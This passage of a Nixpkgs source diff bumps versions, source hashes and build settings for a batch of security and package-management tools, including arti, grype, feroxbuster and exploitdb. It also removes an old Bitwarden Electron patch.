pep420's native namespaces diff --git a/pkgs/tools/package-management/protontricks/default.nix b/pkgs/tools/package-management/protontricks/default.nix index 462a2546ff5da..c3c43163c6710 100644 --- a/pkgs/tools/package-management/protontricks/default.nix +++ b/pkgs/tools/package-management/protontricks/default.nix @@ -16,13 +16,13 @@ buildPythonApplication rec { pname = "protontricks"; - version = "1.11.0"; + version = "1.11.1"; src = fetchFromGitHub { owner = "Matoking"; repo = pname; rev = version; - sha256 = "sha256-5FpcIaQodvNjdqUfD9hvXlrdhszr98j0zm3MCCpZFoc="; + sha256 = "sha256-a40IAFrzQ0mogMoXKb+Lp0fPc1glYophqtftigk3nAc="; }; patches = [ diff --git a/pkgs/tools/security/arti/default.nix b/pkgs/tools/security/arti/default.nix index d7368463ffd77..ef202fb69eb14 100644 --- a/pkgs/tools/security/arti/default.nix +++ b/pkgs/tools/security/arti/default.nix @@ -10,7 +10,7 @@ rustPlatform.buildRustPackage rec { pname = "arti"; - version = "1.1.13"; + version = "1.2.0"; src = fetchFromGitLab { domain = "gitlab.torproject.org"; @@ -18,10 +18,10 @@ rustPlatform.buildRustPackage rec { owner = "core"; repo = "arti"; rev = "arti-v${version}"; - hash = "sha256-Afbys0ChT1640PfKnAH/0Knl2IfKcrsCqqoxryFDPo0="; + hash = "sha256-ba07btx3eorFiocRk1YbkkGcblgsWaMI14r1SaPNr9g="; }; - cargoHash = "sha256-Y4JpVQU1wVwCWWaE5HMT+SaoRpmqzzhZjefbOOwPPRg="; + cargoHash = "sha256-+TVmmyjAFLDlnXMED0+S0M3VbGBRHds4C1GNyTGD4wI="; nativeBuildInputs = lib.optionals stdenv.isLinux [ pkg-config ]; @@ -35,8 +35,8 @@ rustPlatform.buildRustPackage rec { meta = with lib; { description = "An implementation of Tor in Rust"; - homepage = "https://gitlab.torproject.org/tpo/core/arti"; - changelog = "https://gitlab.torproject.org/tpo/core/arti/-/raw/${src.rev}/CHANGELOG.md"; + homepage = "https://arti.torproject.org/"; + changelog = "https://gitlab.torproject.org/tpo/core/arti/-/blob/${src.rev}/CHANGELOG.md"; license = with licenses; [ asl20 /* or */ mit ]; maintainers = with maintainers; [ marsam ]; }; diff --git a/pkgs/tools/security/asnmap/default.nix b/pkgs/tools/security/asnmap/default.nix index 44f2e09fc1a99..984f5340eeebe 100644 --- a/pkgs/tools/security/asnmap/default.nix +++ b/pkgs/tools/security/asnmap/default.nix @@ -5,16 +5,21 @@ buildGoModule rec { pname = "asnmap"; - version = "1.0.6"; + version = "1.1.0"; src = fetchFromGitHub { owner = "projectdiscovery"; - repo = pname; + repo = "asnmap"; rev = "refs/tags/v${version}"; - hash = "sha256-uX7mf1y30JngRI4UJYzghk2F4DZh9OQAjgkkNRbAgwc="; + hash = "sha256-Of4IVra6kMHY9btWcF9grM/r3lTWFP/geeT309Seasw="; }; - vendorHash = "sha256-co18Q8nfRjJyDfpmJ1YSJ275DJRJHn2AR3jF8WionNY="; + vendorHash = "sha256-RDv8vkBI3miyeNAbhUsMpuZCYRUZ0ATfXYHxaTgTVfA="; + + ldflags = [ + "-w" + "-s" + ]; # Tests require network access doCheck = false; diff --git a/pkgs/tools/security/aws-iam-authenticator/default.nix b/pkgs/tools/security/aws-iam-authenticator/default.nix index 6badf451368e4..73750ce03e084 100644 --- a/pkgs/tools/security/aws-iam-authenticator/default.nix +++ b/pkgs/tools/security/aws-iam-authenticator/default.nix @@ -5,13 +5,13 @@ buildGoModule rec { pname = "aws-iam-authenticator"; - version = "0.6.17"; + version = "0.6.18"; src = fetchFromGitHub { owner = "kubernetes-sigs"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-CsurRQDPWJ/P/Q4aZhtUW8Z60+hgzw46+98N/QbFcTU="; + hash = "sha256-QhtDfi6USazpPq+7VnJX9YqTxsm7y1CZpIXiZyHaGG4="; }; vendorHash = "sha256-TDsY05jnutNIKx0z6/8vGvsgYCIKBkTxh9mXqk4IR38="; diff --git a/pkgs/tools/security/bitwarden/electron-27.patch b/pkgs/tools/security/bitwarden/electron-27.patch deleted file mode 100644 index 5b2af2ce30f41..0000000000000 --- a/pkgs/tools/security/bitwarden/electron-27.patch +++ /dev/null @@ -1,69 +0,0 @@ -From e2c15e826fe9d4d2d12868ef5409e423e3191b58 Mon Sep 17 00:00:00 2001 -From: Daniel James Smith <2670567+djsmith85@users.noreply.github.com> -Date: Fri, 8 Dec 2023 13:07:46 +0100 -Subject: [PATCH] Bump electron to v27.1.3 (#7134) - -Co-authored-by: Daniel James Smith <djsmith85@users.noreply.github.com> - -(cherry picked from commit d76602343f36d8e17a9b0204e0290488456c96d5) ---- - apps/desktop/electron-builder.json | 2 +- - package-lock.json | 8 ++++---- - package.json | 2 +- - 3 files changed, 6 insertions(+), 6 deletions(-) - -diff --git a/apps/desktop/electron-builder.json b/apps/desktop/electron-builder.json -index 69d1c0074f..a12870bd96 100644 ---- a/apps/desktop/electron-builder.json -+++ b/apps/desktop/electron-builder.json -@@ -19,7 +19,7 @@ - "**/node_modules/@bitwarden/desktop-native/index.js", - "**/node_modules/@bitwarden/desktop-native/desktop_native.${platform}-${arch}*.node" - ], -- "electronVersion": "25.9.1", -+ "electronVersion": "27.1.3", - "generateUpdatesFilesForAllChannels": true, - "publish": { - "provider": "generic", -diff --git a/package-lock.json b/package-lock.json -index 3f0afde95b..9b7b2dbcd9 100644 ---- a/package-lock.json -+++ b/package-lock.json -@@ -125,7 +125,7 @@ - "cross-env": "7.0.3", - "css-loader": "6.8.1", - "del": "6.1.1", -- "electron": "25.9.1", -+ "electron": "27.1.3", - "electron-builder": "23.6.0", - "electron-log": "5.0.0", - "electron-reload": "2.0.0-alpha.1", -@@ -20173,9 +20173,9 @@ - } - }, - "node_modules/electron": { -- "version": "25.9.1", -- "resolved": "https://registry.npmjs.org/electron/-/electron-25.9.1.tgz", -- "integrity": "sha512-Uo/Fh7igjoUXA/f90iTATZJesQEArVL1uLA672JefNWTLymdKSZkJKiCciu/Xnd0TS6qvdIOUGuJFSTQnKskXQ==", -+ "version": "27.1.3", -+ "resolved": "https://registry.npmjs.org/electron/-/electron-27.1.3.tgz", -+ "integrity": "sha512-7eD8VMhhlL5J531OOawn00eMthUkX1e3qN5Nqd7eMK8bg5HxQBrn8bdPlvUEnCano9KhrVwaDnGeuzWoDOGpjQ==", - "dev": true, - "hasInstallScript": true, - "dependencies": { -diff --git a/package.json b/package.json -index 9ee884b31d..4a5c3513fd 100644 ---- a/package.json -+++ b/package.json -@@ -88,7 +88,7 @@ - "cross-env": "7.0.3", - "css-loader": "6.8.1", - "del": "6.1.1", -- "electron": "25.9.1", -+ "electron": "27.1.3", - "electron-builder": "23.6.0", - "electron-log": "5.0.0", - "electron-reload": "2.0.0-alpha.1", --- -2.42.0 - diff --git a/pkgs/tools/security/bruteforce-luks/default.nix b/pkgs/tools/security/bruteforce-luks/default.nix index 084368c105b2e..a6e0f3cc104b6 100644 --- a/pkgs/tools/security/bruteforce-luks/default.nix +++ b/pkgs/tools/security/bruteforce-luks/default.nix @@ -2,10 +2,10 @@ stdenv.mkDerivation rec { pname = "bruteforce-luks"; - version = "1.4.0"; + version = "1.4.1"; src = fetchFromGitHub { - sha256 = "0yyrda077avdapq1mvavgv5mvj2r94d6p01q56bbnaq4a3h5kfd6"; + sha256 = "sha256-t07YyfCjaXQs/OMekcPNBT8DeSRtq2+8tUpsPP2pG7o="; rev = version; repo = "bruteforce-luks"; owner = "glv2"; diff --git a/pkgs/tools/security/buttercup-desktop/default.nix b/pkgs/tools/security/buttercup-desktop/default.nix index a3eb00d3fe45a..ffbfe1d3791c4 100644 --- a/pkgs/tools/security/buttercup-desktop/default.nix +++ b/pkgs/tools/security/buttercup-desktop/default.nix @@ -2,10 +2,10 @@ let pname = "buttercup-desktop"; - version = "2.24.4"; + version = "2.26.0"; src = fetchurl { url = "https://github.com/buttercup/buttercup-desktop/releases/download/v${version}/Buttercup-linux-x86_64.AppImage"; - sha256 = "sha256-c5MLj/1OSjGsySCENeJqEhubxl2y7uDhnOBAtLGy92I="; + sha256 = "sha256-fsHyHljHk2e/pxzz7jYv639ob0D6gTMA3U4OXxbvYz8="; }; appimageContents = appimageTools.extractType2 { inherit pname src version; }; diff --git a/pkgs/tools/security/cdxgen/default.nix b/pkgs/tools/security/cdxgen/default.nix index 3b437a70633c0..858682ed27f11 100644 --- a/pkgs/tools/security/cdxgen/default.nix +++ b/pkgs/tools/security/cdxgen/default.nix @@ -5,16 +5,16 @@ buildNpmPackage rec { pname = "cdxgen"; - version = "10.0.5"; + version = "10.2.1"; src = fetchFromGitHub { owner = "AppThreat"; repo = pname; rev = "v${version}"; - sha256 = "sha256-0cRJdhP0OtzaV2NqRfoYz+Gkl+N3/REbPiOh0jQySK8="; + sha256 = "sha256-X359aLnC0FAiS3pOBQsjmdik01zjZayTvwBLk3sj8ew="; }; - npmDepsHash = "sha256-AlO3AC03JVTbgqdFSJb2L/QYuMQxjqzGGZYapte0uxc="; + npmDepsHash = "sha256-1vPdKD1Ul+6hq8dYxscL4YLmefnP2zOWRtQWyO6Q0eQ="; dontNpmBuild = true; diff --git a/pkgs/tools/security/cfripper/default.nix b/pkgs/tools/security/cfripper/default.nix index c597f2e85602f..51fa61067425c 100644 --- a/pkgs/tools/security/cfripper/default.nix +++ b/pkgs/tools/security/cfripper/default.nix @@ -12,23 +12,24 @@ let }; in python.pkgs.buildPythonApplication rec { pname = "cfripper"; - version = "1.15.3"; + version = "1.15.6"; pyproject = true; src = fetchFromGitHub { owner = "Skyscanner"; repo = "cfripper"; rev = "refs/tags/v${version}"; - hash = "sha256-SmD3Dq5LicPRe3lWFsq4zqM/yDZ1LsgRwSUA5/RbN9I="; + hash = "sha256-h/NNTE5u1coyD4owiGjsK6SIuvDq1SQOPW4RM4yJtno="; }; - postPatch = '' - substituteInPlace setup.py \ - --replace "pluggy~=0.13.1" "pluggy" \ - ''; + pythonRelaxDeps = [ + "pluggy" + ]; nativeBuildInputs = with python.pkgs; [ + pythonRelaxDepsHook setuptools + setuptools-scm ]; propagatedBuildInputs = with python.pkgs; [ diff --git a/pkgs/tools/security/cloudlist/default.nix b/pkgs/tools/security/cloudlist/default.nix index 64f6a23bde7e6..fa41327a8cf58 100644 --- a/pkgs/tools/security/cloudlist/default.nix +++ b/pkgs/tools/security/cloudlist/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "cloudlist"; - version = "1.0.6"; + version = "1.0.7"; src = fetchFromGitHub { owner = "projectdiscovery"; repo = "cloudlist"; rev = "refs/tags/v${version}"; - hash = "sha256-oq+JmcENFcB4AoVEhxoYIKZArgzVm6QFsPF8ybtNMak="; + hash = "sha256-F1oiatNP4tSRWI25r1uoiLT9Et+PyqU0p2HVICMBUNA="; }; - vendorHash = "sha256-4eGmfPXqohdRHT0xExF1Z5jE8GscQGlVEmS3cHMX4x8="; + vendorHash = "sha256-3QS9YYypqEJhibfBFxFq1gxTVpTWBy35tXcO9+DBehY="; ldflags = [ "-w" diff --git a/pkgs/tools/security/cryptomator/default.nix b/pkgs/tools/security/cryptomator/default.nix index bf6f5c3c05879..85ce0c8797924 100644 --- a/pkgs/tools/security/cryptomator/default.nix +++ b/pkgs/tools/security/cryptomator/default.nix @@ -14,17 +14,17 @@ in assert stdenv.isLinux; # better than `called with unexpected argument 'enableJavaFX'` mavenJdk.buildMavenPackage rec { pname = "cryptomator"; - version = "1.11.1"; + version = "1.12.3"; src = fetchFromGitHub { owner = "cryptomator"; repo = "cryptomator"; rev = version; - hash = "sha256-Y+oG2NF4Vsklp1W22Xv+XrkY6vwn23FkzAXG/5828Og="; + hash = "sha256-pVQ3xlNgJIDz8dnNoiLJaG6y4kNHNLL7zYq1sl6rleY="; }; mvnParameters = "-Dmaven.test.skip=true -Plinux"; - mvnHash = "sha256-cXmnJHgKW6SGnhHFuFJP/DKNmFacfHbC3nQ2uVdIvUE="; + mvnHash = "sha256-Zx2HhgmebF8UOp+2JKl2+FGA98aPRSUTIduHPTtgAjI="; preBuild = '' VERSION=${version} diff --git a/pkgs/tools/security/dnsx/default.nix b/pkgs/tools/security/dnsx/default.nix index 648f7883788ef..1f25de07c174e 100644 --- a/pkgs/tools/security/dnsx/default.nix +++ b/pkgs/tools/security/dnsx/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "dnsx"; - version = "1.1.6"; + version = "1.2.1"; src = fetchFromGitHub { owner = "projectdiscovery"; repo = "dnsx"; rev = "refs/tags/v${version}"; - hash = "sha256-dyqZXc5k76BwF2Kh2vm9d+dpvgpXK/8VQeGjx1UzA6k="; + hash = "sha256-scp0CDIO8F2TqpSCgXXfb8I83stvO/GZqSA5/BkN8pE="; }; - vendorHash = "sha256-S1mJMVfQSy49Lm4q3v05kjbXBlBgBt/AAzLOoQkk75A="; + vendorHash = "sha256-WbFkBTPy4N+mAVSkq1q9XcNs1jk6YuBcYxiEmQV/TsM="; # Tests require network access doCheck = false; diff --git a/pkgs/tools/security/dontgo403/default.nix b/pkgs/tools/security/dontgo403/default.nix index 79002c1cfc898..84e7667377b79 100644 --- a/pkgs/tools/security/dontgo403/default.nix +++ b/pkgs/tools/security/dontgo403/default.nix @@ -5,17 +5,22 @@ buildGoModule rec { pname = "dontgo403"; - version = "0.9.4"; + version = "1.0.0"; src = fetchFromGitHub { owner = "devploit"; - repo = pname; + repo = "dontgo403"; rev = "refs/tags/${version}"; - hash = "sha256-PKI/DqMihhMaIa9OzDKtLIs34TRUtewAbBkx89IXLU4="; + hash = "sha256-znmPXue+pzv7vAKnIYsjJQQGMeBETH+ekyVKGz9wRik="; }; vendorHash = "sha256-IGnTbuaQH8A6aKyahHMd2RyFRh4WxZ3Vx/A9V3uelRg="; + ldflags = [ + "-w" + "-s" + ]; + meta = with lib; { description = "Tool to bypass 40X response codes"; homepage = "https://github.com/devploit/dontgo403"; diff --git a/pkgs/tools/security/doppler/default.nix b/pkgs/tools/security/doppler/default.nix index 92b964ad2c95f..4707240857fce 100644 --- a/pkgs/tools/security/doppler/default.nix +++ b/pkgs/tools/security/doppler/default.nix @@ -8,16 +8,16 @@ buildGoModule rec { pname = "doppler"; - version = "3.66.5"; + version = "3.67.1"; src = fetchFromGitHub { owner = "dopplerhq"; repo = "cli"; rev = version; - sha256 = "sha256-/kcGfTDthm4gp1M4lSeY1x8Q7EWVX2pZVjF2rAbz+Es="; + sha256 = "sha256-O49lBoazT3VNopXvBBhOynsla4W00VkiBAO0+i2rsbc="; }; - vendorHash = "sha256-FOmaK6S61fkzybpDx6qfi6m4e2IaqBpavaFhEgIvmqw="; + vendorHash = "sha256-NUHWKPszQH/pvnA+j65+bJ6t+C0FDRRbTviqkYztpE4="; ldflags = [ "-s -w" diff --git a/pkgs/tools/security/eid-mw/default.nix b/pkgs/tools/security/eid-mw/default.nix index b7cae61ad2c76..36f1245de43ed 100644 --- a/pkgs/tools/security/eid-mw/default.nix +++ b/pkgs/tools/security/eid-mw/default.nix @@ -21,13 +21,13 @@ stdenv.mkDerivation rec { pname = "eid-mw"; # NOTE: Don't just blindly update to the latest version/tag. Releases are always for a specific OS. - version = "5.1.15"; + version = "5.1.16"; src = fetchFromGitHub { owner = "Fedict"; repo = "eid-mw"; rev = "v${version}"; - hash = "sha256-balyAdQO8aZ9wGYerPUDxgBWGG7Ya2eIyo6UX62M4SI="; + hash = "sha256-UOZVCTXiqYnatS/ZhJZZprqtwtkVt8EJRHZ9XuX5W5o="; }; postPatch = '' diff --git a/pkgs/tools/security/exploitdb/default.nix b/pkgs/tools/security/exploitdb/default.nix index 4c9b252b73724..ca9a7000e98b6 100644 --- a/pkgs/tools/security/exploitdb/default.nix +++ b/pkgs/tools/security/exploitdb/default.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "exploitdb"; - version = "2024-02-10"; + version = "2024-03-07"; src = fetchFromGitLab { owner = "exploit-database"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-tnAPjyvzl70bLFyn1y0prkp8o7CjPy1XwYYF1IGq4No="; + hash = "sha256-f+xg4uR//1ffssH2PAN9ta/osCrY7+s6SI1Kfvfq8cQ="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/security/faraday-cli/default.nix b/pkgs/tools/security/faraday-cli/default.nix index b0ee2015555c4..c6f1c3333a710 100644 --- a/pkgs/tools/security/faraday-cli/default.nix +++ b/pkgs/tools/security/faraday-cli/default.nix @@ -5,14 +5,14 @@ python3.pkgs.buildPythonApplication rec { pname = "faraday-cli"; - version = "2.1.10"; + version = "2.1.11"; pyproject = true; src = fetchFromGitHub { owner = "infobyte"; - repo = pname; + repo = "faraday-cli"; rev = "refs/tags/${version}"; - hash = "sha256-7Yg2m0xHpBPZ58gJodSYO8vXaxSlr4GK1Lin63WozOE="; + hash = "sha256-bCiiX5dYodnWkKeNo2j3PGMz17F5y2X4ECZiStDdK5U="; }; nativeBuildInputs = with python3.pkgs; [ diff --git a/pkgs/tools/security/feroxbuster/default.nix b/pkgs/tools/security/feroxbuster/default.nix index 18af1a0f1c486..5871895cd9c01 100644 --- a/pkgs/tools/security/feroxbuster/default.nix +++ b/pkgs/tools/security/feroxbuster/default.nix @@ -9,13 +9,13 @@ rustPlatform.buildRustPackage rec { pname = "feroxbuster"; - version = "2.10.1"; + version = "2.10.2"; src = fetchFromGitHub { owner = "epi052"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-AFh/IeB88NYPsyUqzaN92GoDbAgl+HG87cIy+Ni06Q8="; + hash = "sha256-jsaUSnqzqeKxos8fDvaOAzuGWxn5tJYjFp4qolWRRs4="; }; # disable linker overrides on aarch64-linux @@ -23,7 +23,7 @@ rustPlatform.buildRustPackage rec { rm .cargo/config ''; - cargoHash = "sha256-Fu3qw3qRK3TZlzK1WcmI/GQ5TM1j+gbGoedwp18SolY="; + cargoHash = "sha256-xACWDgFrZXcxbfczR9tfT1CTaPnDHBITbg3x8+708gE="; OPENSSL_NO_VENDOR = true; diff --git a/pkgs/tools/security/fulcio/default.nix b/pkgs/tools/security/fulcio/default.nix index 9c40c051bebcc..17bd273c0a304 100644 --- a/pkgs/tools/security/fulcio/default.nix +++ b/pkgs/tools/security/fulcio/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "fulcio"; - version = "1.4.3"; + version = "1.4.4"; src = fetchFromGitHub { owner = "sigstore"; repo = pname; rev = "v${version}"; - sha256 = "sha256-LT8J9s008XQtDtNdH1ungQREqQUrlTsoxnlRLKimqLY="; + sha256 = "sha256-zL+53GIGDQagWtsSHQT1Gn1hZUCpYF3uYKXmJWFGy7k="; # populate values that require us to use git. By doing this in postFetch we # can delete .git afterwards and maintain better reproducibility of the src. leaveDotGit = true; @@ -20,7 +20,7 @@ buildGoModule rec { find "$out" -name .git -print0 | xargs -0 rm -rf ''; }; - vendorHash = "sha256-ImZJXdOfMepMFU1z47XyNU39NGGdiCzQji2/tKVfibQ="; + vendorHash = "sha256-B4/SIY9G5uEP+P+oSdhaMM7HRaHm5nq2jqXdIWxdP+8="; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/tools/security/ggshield/default.nix b/pkgs/tools/security/ggshield/default.nix index 6b93977558c86..3bf136683333a 100644 --- a/pkgs/tools/security/ggshield/default.nix +++ b/pkgs/tools/security/ggshield/default.nix @@ -6,14 +6,14 @@ python3.pkgs.buildPythonApplication rec { pname = "ggshield"; - version = "1.24.0"; + version = "1.25.0"; pyproject = true; src = fetchFromGitHub { owner = "GitGuardian"; repo = "ggshield"; rev = "refs/tags/v${version}"; - hash = "sha256-N0yokLsp6jRELIPu8w6gvD7V97xiKJl+kLQQB9h2mMY="; + hash = "sha256-D6+0ZYuOiCy5LonP1Ob7PlWmBXvLwU3PODOT6F+70HY="; }; pythonRelaxDeps = true; diff --git a/pkgs/tools/security/gotestwaf/default.nix b/pkgs/tools/security/gotestwaf/default.nix index 69afb96a47e29..c9fbe9f699ebe 100644 --- a/pkgs/tools/security/gotestwaf/default.nix +++ b/pkgs/tools/security/gotestwaf/default.nix @@ -7,13 +7,13 @@ buildGoModule rec { pname = "gotestwaf"; - version = "0.4.12"; + version = "0.4.15"; src = fetchFromGitHub { owner = "wallarm"; repo = "gotestwaf"; rev = "refs/tags/v${version}"; - hash = "sha256-av6N6RQ+9iW+xG1FpmFjBHL1leU4P0IPiqf7kvJxm6M="; + hash = "sha256-C5lDiHDSSweUZh83AOv5WIQ4JuC9OiCvpHshgius51k="; }; vendorHash = null; diff --git a/pkgs/tools/security/grype/default.nix b/pkgs/tools/security/grype/default.nix index eceffd9bdecdd..d602d1fc6e733 100644 --- a/pkgs/tools/security/grype/default.nix +++ b/pkgs/tools/security/grype/default.nix @@ -1,19 +1,20 @@ { lib , buildGoModule , fetchFromGitHub +, git , installShellFiles , openssl }: buildGoModule rec { pname = "grype"; - version = "0.74.5"; + version = "0.74.7"; src = fetchFromGitHub { owner = "anchore"; - repo = pname; + repo = "grype"; rev = "refs/tags/v${version}"; - hash = "sha256-h68LfKQG5xgFIFkyuK9Z6tw8+xoimnF2d2QgTjwU74U="; + hash = "sha256-mP9Yjg5AVMIMvlOI+5AaCYzlw7h2K9WCFLY9ZwXmZk0="; # populate values that require us to use git. By doing this in postFetch we # can delete .git afterwards and maintain better reproducibility of the src. leaveDotGit = true; @@ -28,17 +29,20 @@ buildGoModule rec { proxyVendor = true; - vendorHash = "sha256-lnOF3Xvjc20aFPOf9of3n+aBHvPrLTTlH7aPPlYA/RA="; + vendorHash = "sha256-X+E2g/FoDgjKq8XcPeEA/XbRJV8JkhY5AHPnw26hRnM="; nativeBuildInputs = [ installShellFiles ]; nativeCheckInputs = [ + git openssl ]; - subPackages = [ "cmd/grype" ]; + subPackages = [ + "cmd/grype" + ]; excludedPackages = "test/integration"; @@ -70,23 +74,25 @@ buildGoModule rec { # remove tests that depend on docker substituteInPlace test/cli/cmd_test.go \ - --replace "TestCmd" "SkipCmd" + --replace-fail "TestCmd" "SkipCmd" substituteInPlace grype/pkg/provider_test.go \ - --replace "TestSyftLocationExcludes" "SkipSyftLocationExcludes" + --replace-fail "TestSyftLocationExcludes" "SkipSyftLocationExcludes" substituteInPlace test/cli/cmd_test.go \ - --replace "Test_descriptorNameAndVersionSet" "Skip_descriptorNameAndVersionSet" + --replace-fail "Test_descriptorNameAndVersionSet" "Skip_descriptorNameAndVersionSet" # remove tests that depend on git substituteInPlace test/cli/db_validations_test.go \ - --replace "TestDBValidations" "SkipDBValidations" + --replace-fail "TestDBValidations" "SkipDBValidations" substituteInPlace test/cli/registry_auth_test.go \ - --replace "TestRegistryAuth" "SkipRegistryAuth" + --replace-fail "TestRegistryAuth" "SkipRegistryAuth" substituteInPlace test/cli/sbom_input_test.go \ - --replace "TestSBOMInput_FromStdin" "SkipSBOMInput_FromStdin" \ - --replace "TestSBOMInput_AsArgument" "SkipSBOMInput_AsArgument" + --replace-fail "TestSBOMInput_FromStdin" "SkipSBOMInput_FromStdin" \ + --replace-fail "TestSBOMInput_AsArgument" "SkipSBOMInput_AsArgument" substituteInPlace test/cli/subprocess_test.go \ - --replace "TestSubprocessStdin" "SkipSubprocessStdin" + --replace-fail "TestSubprocessStdin" "SkipSubprocessStdin" substituteInPlace grype/internal/packagemetadata/names_test.go \ - --replace "TestAllNames" "SkipAllNames" + --replace-fail "TestAllNames" "SkipAllNames" + substituteInPlace test/cli/version_cmd_test.go \ + --replace-fail "TestVersionCmdPrintsToStdout" "SkipVersionCmdPrintsToStdout" # segfault rm grype/db/v5/namespace/cpe/namespace_test.go diff --git a/pkgs/tools/security/hcxtools/default.nix b/pkgs/tools/security/hcxtools/default.nix index df7695276c2ac..1d52561e18889 100644 --- a/pkgs/tools/security/hcxtools/default.nix +++ b/pkgs/tools/security/hcxtools/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "hcxtools"; - version = "6.3.2"; + version = "6.3.4"; src = fetchFromGitHub { owner = "ZerBea"; repo = pname; rev = version; - sha256 = "sha256-ZEkuWGt2PGkFW1RXCyrUiew92N4ov35mMObHk1xD6uM="; + sha256 = "sha256-03NPzSThmUPAEg5dBr2QkwaXPgGeu/lEe9nqhY8EkyA="; }; nativeBuildInputs = [ pkg-config ]; diff --git a/pkgs/tools/security/hfinger/default.nix b/pkgs/tools/security/hfinger/default.nix index 8d3d7e25d33fc..900f7402451d2 100644 --- a/pkgs/tools/security/hfinger/default.nix +++ b/pkgs/tools/security/hfinger/default.nix @@ -7,15 +7,19 @@ python3.pkgs.buildPythonApplication rec { pname = "hfinger"; version = "0.2.2"; - disabled = python3.pythonOlder "3.3"; + pyproject = true; src = fetchFromGitHub { owner = "CERT-Polska"; - repo = pname; + repo = "hfinger"; rev = "refs/tags/v${version}"; - sha256 = "sha256-gxwirAqtY4R3KDHyNmDIknABO+SFuoDua9nm1UyXbxA="; + hash = "sha256-gxwirAqtY4R3KDHyNmDIknABO+SFuoDua9nm1UyXbxA="; }; + nativeBuildInputs = with python3.pkgs; [ + setuptools + ]; + propagatedBuildInputs = with python3.pkgs; [ fnvhash python-magic @@ -25,11 +29,15 @@ python3.pkgs.buildPythonApplication rec { # Project has no tests doCheck = false; - pythonImportsCheck = [ "hfinger" ]; + + pythonImportsCheck = [ + "hfinger" + ]; meta = with lib; { description = "Fingerprinting tool for HTTP requests"; homepage = "https://github.com/CERT-Polska/hfinger"; + changelog = "https://github.com/CERT-Polska/hfinger/releases/tag/v${version}"; license = with licenses; [ gpl3Only ]; maintainers = with maintainers; [ fab ]; }; diff --git a/pkgs/tools/security/himitsu/default.nix b/pkgs/tools/security/himitsu/default.nix index ae647768c7f41..d6bbb8fd69218 100644 --- a/pkgs/tools/security/himitsu/default.nix +++ b/pkgs/tools/security/himitsu/default.nix @@ -7,14 +7,14 @@ stdenv.mkDerivation rec { pname = "himitsu"; - version = "0.5"; + version = "0.6"; src = fetchFromSourcehut { name = pname + "-src"; owner = "~sircmpwn"; repo = pname; rev = version; - hash = "sha256-rZ3gzVz7V3psHAMxTCaJXZh4uP4gIeyb9Bf23kzCBWg="; + hash = "sha256-3x6Lc1rWBtYWVocBuMV5CtoZQjL0Ce+6J2xFjaYaeG4="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/security/httpx/default.nix b/pkgs/tools/security/httpx/default.nix index 98f41b9c599f8..3fb5371429586 100644 --- a/pkgs/tools/security/httpx/default.nix +++ b/pkgs/tools/security/httpx/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "httpx"; - version = "1.4.0"; + version = "1.6.0"; src = fetchFromGitHub { owner = "projectdiscovery"; repo = "httpx"; rev = "refs/tags/v${version}"; - hash = "sha256-G+N9Zo8MbXbCRB21SvxSNftvn5v8Ss+I0v7Lj30CgJo="; + hash = "sha256-q8R3X1U2Dma0A9WRWIFPSRQHndNJFE2YdfMyPEM6dr8="; }; - vendorHash = "sha256-fy4yJkwBlVNRn8FWHtZHCMcCF7LQXsDhEYVSv4RVcBM="; + vendorHash = "sha256-M7oxM0hMaOT78CxbSGyYk0nhGJC8dLWAlzi/b//EiHw="; subPackages = [ "cmd/httpx" diff --git a/pkgs/tools/security/jwx/default.nix b/pkgs/tools/security/jwx/default.nix index 6841cfe573ab8..cb418b4a96572 100644 --- a/pkgs/tools/security/jwx/default.nix +++ b/pkgs/tools/security/jwx/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "jwx"; - version = "2.0.19"; + version = "2.0.20"; src = fetchFromGitHub { owner = "lestrrat-go"; repo = pname; rev = "v${version}"; - hash = "sha256-JR2Z1XOcTfocaXHA+q6INcIZFeuMjB+G16fRmYjOhzU="; + hash = "sha256-+of0eYBwdGC9vb0DDqxMIuhXNTCRRv9iGOIVJGobMxc="; }; - vendorHash = "sha256-g97cSHGo0nw7Ker+S/qG0awUf1/UdcSkF55BjMyTfAY="; + vendorHash = "sha256-HHq4B0MYP2gUtV9ywrXVmWN7OpV6NVb49rVMFblOgPc="; sourceRoot = "${src.name}/cmd/jwx"; diff --git a/pkgs/tools/security/knockpy/default.nix b/pkgs/tools/security/knockpy/default.nix index a3342e0b38093..5b68560c1fa31 100644 --- a/pkgs/tools/security/knockpy/default.nix +++ b/pkgs/tools/security/knockpy/default.nix @@ -5,30 +5,39 @@ python3.pkgs.buildPythonApplication rec { pname = "knockpy"; - version = "6.1.0"; - format = "setuptools"; + version = "7.0.0"; + pyproject = true; src = fetchFromGitHub { owner = "guelfoweb"; repo = "knock"; rev = "refs/tags/${version}"; - hash = "sha256-O4tXq4pDzuTBEGAls2I9bfBRdHssF4rFBec4OtfUx6A="; + hash = "sha256-Xtv7K19OBS2iHFFoSasNcy9VLL15eQ8AD79wAEhxCHk="; }; + pythonRelaxDeps = [ + "beautifulsoup4" + "tqdm" + ]; + + nativeBuildInputs = with python3.pkgs; [ + pythonRelaxDepsHook + setuptools + ]; + propagatedBuildInputs = with python3.pkgs; [ beautifulsoup4 - colorama - matplotlib - networkx - pyqt5 + dnspython + pyopenssl requests + tqdm ]; # Project has no tests doCheck = false; pythonImportsCheck = [ - "knockpy" + "knock" ]; meta = with lib; { diff --git a/pkgs/tools/security/kube-bench/default.nix b/pkgs/tools/security/kube-bench/default.nix index 28b90f3d4baef..673dde4a58a19 100644 --- a/pkgs/tools/security/kube-bench/default.nix +++ b/pkgs/tools/security/kube-bench/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "kube-bench"; - version = "0.7.1"; + version = "0.7.2"; src = fetchFromGitHub { owner = "aquasecurity"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-EsUjGc7IIu5PK9KaODlQSfmm8jpjuBXvGZPNjSc1824="; + hash = 